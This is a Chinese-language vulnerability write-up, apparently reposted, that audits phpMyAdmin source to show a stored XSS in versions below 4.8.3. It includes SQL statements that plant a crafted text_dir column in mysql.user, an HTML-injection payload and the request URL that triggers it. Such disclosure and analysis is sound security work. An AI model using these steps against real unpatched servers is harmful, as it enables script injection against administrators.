## Phpmyadmin < 4.8.3 XSS
#### 一、漏洞简介
最近在审计phpmyadmin的时候发现了一个XSS漏洞，后来发现在版本大于4.8.3以后该漏洞被修复了。看了下之前公布的CVE，有个CVE和此漏洞很相似但没有漏洞细节，于是乎便有了这篇文章。
#### 二、漏洞影响
Phpmyadmin < 4.8.3
#### 三、复现过程
在审计phpmyadmin时，我比较关注$GLOBALS全局变量，该变量存储了本次请求的信息、phpmyadmin基本设置信息和phpmyadmin配置文件信息等。先看看/libraries/classes/Server/Privileges.php::3977的以下代码。
```php
foreach ($row as $key => $value) {
$GLOBALS[$key] = $value;
}
```
很明显，该处是$GLOBALS的赋值操作，而$row来自于对mysql.user表的查询结果，且$user_host_condition可控，
/libraries/classes/Server/Privileges.php::3966行
```php
public static function getDataForChangeOrCopyUser()
{
$queries = null;
$password = null;
if (isset($_REQUEST['change_copy'])) {
$user_host_condition = ' WHERE `User` = '
. "'" . $GLOBALS['dbi']->escapeString($_REQUEST['old_username']) . "'"
. ' AND `Host` = '
. "'" . $GLOBALS['dbi']->escapeString($_REQUEST['old_hostname']) . "';";
$row = $GLOBALS['dbi']->fetchSingleRow(
'SELECT * FROM `mysql`.`user` ' . $user_host_condition
);
```
既然上述代码会将mysql.user中符合条件的行的列名和值写入$GLOBALS中,我们便可通过添加mysql.user的列来往$GLOBALS中写入任意键值。清楚思路后，我们看看哪里调用了Privileges.php的getDataForChangeOrCopyUser函数,发现在server_privileges.php::178中对该函数有调用。
```php
list($queries, $password) = Privileges::getDataForChangeOrCopyUser();
```
这时我们来试试向$GLOBALS中写一个$GLOBALS['xz']='aliyun'。进入mysql库，执行以下2条sql语句向user表添加xz字段，并插入一条数据。
```php
ALTER TABLE user ADD xz varchar(255);
INSERT INTO `user` (`Host`, `User`, `Password`, `Select_priv`, `Insert_priv`, `Update_priv`, `Delete_priv`, `Create_priv`, `Drop_priv`, `Reload_priv`, `Shutdown_priv`, `Process_priv`, `File_priv`, `Grant_priv`, `References_priv`, `Index_priv`, `Alter_priv`, `Show_db_priv`, `Super_priv`, `Create_tmp_table_priv`, `Lock_tables_priv`, `Execute_priv`, `Repl_slave_priv`, `Repl_client_priv`, `Create_view_priv`, `Show_view_priv`, `Create_routine_priv`, `Alter_routine_priv`, `Create_user_priv`, `Event_priv`, `Trigger_priv`, `Create_tablespace_priv`, `ssl_type`, `max_questions`, `max_updates`, `max_connections`, `max_user_connections`, `plugin`, `authentication_string`, `xz`) VALUES ('127.0.0.1', 'test', '*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '', '0', '0', '0', '0', '', '', 'aliyun');
```
在/libraries/classes/Server/Privileges.php::3980下断点
```php
$serverVersion = $GLOBALS['dbi']->getVersion();
```
然后构造`http://127.0.0.1/phpMyAdmin-4.8.2/server_privileges.php?change_copy=aa&old_username=test&old_hostname=127.0.0.1&mode=5` 参数请求，change_copy随便给个参数即可，mode必须大于4否则新添加的数据会被删除。
可以看到$GLOBALS['xz']='aliyun'已经成功赋值。
**利用构造**
有了可控的$GLOBALS变量后，我们需要寻找触发点。要在一次请求便触发漏洞，公共页面是首选目标。通过全局搜索$GLOBALS变量，发现在libraries/classes/Navigation/NavigationTree.php::1272的renderDbSelect函数中有使用未过滤的$GLOBALS变量。
```php
$retval .= '<div>';
$retval .= '<form action="index.php">';
$retval .= Url::getHiddenFields($url_params);
$retval .= '<select name="db" class="hide" id="navi_db_select">'
. '<option value="" dir="' . $GLOBALS['text_dir'] . '">'
```
继续搜索调用renderDbSelect函数地方，发现libraries\classes\Navigation\Navigation.php::62的getDisplay函数。
```php
public function getDisplay()
{
/* Init */
$retval = '';
$response = Response::getInstance();
if (! $response->isAjax()) {
$header = new NavigationHeader();
$retval = $header->getDisplay();
}
$tree = new NavigationTree();
if (! $response->isAjax()
|| ! empty($_REQUEST['full'])
|| ! empty($_REQUEST['reload'])
) {
if ($GLOBALS['cfg']['ShowDatabasesNavigationAsTree']) {
// provide database tree in navigation
$navRender = $tree->renderState();
} else {
// provide legacy pre-4.0 navigation
$navRender = $tree->renderDbSelect();
```
继续搜索实例化Naviagtion类并且调用了getDisplay函数的地方，发现libraries\classes\Header.php::440的getDisplay函数有调用。
```php
public function getDisplay()
{
$retval = '';
...(省略)
if ($this->_menuEnabled && $GLOBALS['server'] > 0) {
$nav = new Navigation();
$retval .= $nav->getDisplay();
}
```
搜索实例化Header->GetDisplay的方法，发现\libraries\classes\Response.php::100的构造方法中实例化了Header类，而$this-_header又在_getDisplay中被调用。_getDisplay被_htmlResponse调用，_htmlResponse在response函数中被调用。
```php
private function __construct()
{
if (! defined('TESTSUITE')) {
$buffer = OutputBuffering::getInstance();
$buffer->start();
register_shutdown_function(array($this, 'response'));
}
$this->_header = new Header();
$this->_HTML = '';
$this->_JSON = array();
```
\libraries\classes\Response.php::266行
```php
private function _getDisplay()
{
// The header may contain nothing at all,
// if its content was already rendered
// and, in this case, the header will be
// in the content part of the request
$retval = $this->_header->getDisplay();
$retval .= $this->_HTML;
$retval .= $this->_footer->getDisplay();
return $retval;
}
```
\libraries\classes\Response.php::279行
```php
private function _htmlResponse()
{
echo $this->_getDisplay();
}
```
\libraries\classes\Response.php::438行
```php
public function response()
{
chdir($this->getCWD());
$buffer = OutputBuffering::getInstance();
if (empty($this->_HTML)) {
$this->_HTML = $buffer->getContents();
}
if ($this->isAjax()) {
$this->_ajaxResponse();
} else {
$this->_htmlResponse();
}
$buffer->flush();
exit;
}
```
这里注意__construct中的register_shutdown_function函数，看php manual，意思是说当脚本运行结束或遇到exit后会执行该response函数，
**意思就是说只要哪里实例化了Response类，在程序运行结束后就会执行response函数**。真好，回到server_privileges.php::34行，发现有实例化Response。
```php
$response = Response::getInstance();
$header = $response->getHeader();
$scripts = $header->getScripts();
```
拥有以上调用链后，只需要控制$GLOBAS的键为text_dir,值为XSS payload即可，进入mysql库，执行以下sql语句修改列名xz为text_dir，并修改数据为XSS Payload。
```php
ALTER TABLE `user` CHANGE `xz` `text_dir` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_bin NULL DEFAULT NULL;
UPDATE `user` SET `text_dir` = '\"><img src><option dir=\"' WHERE `user`.`Host` = '127.0.0.1' AND `user`.`User` = 'test';
```
构造**`http://url/phpMyAdmin-4.8.2/server_privileges.php?change_copy=aa&old_username=test&old_hostname=127.0.0.1&mode=5`**
成功触发XSS
## 参考链接
> https://xz.aliyun.com/t/7797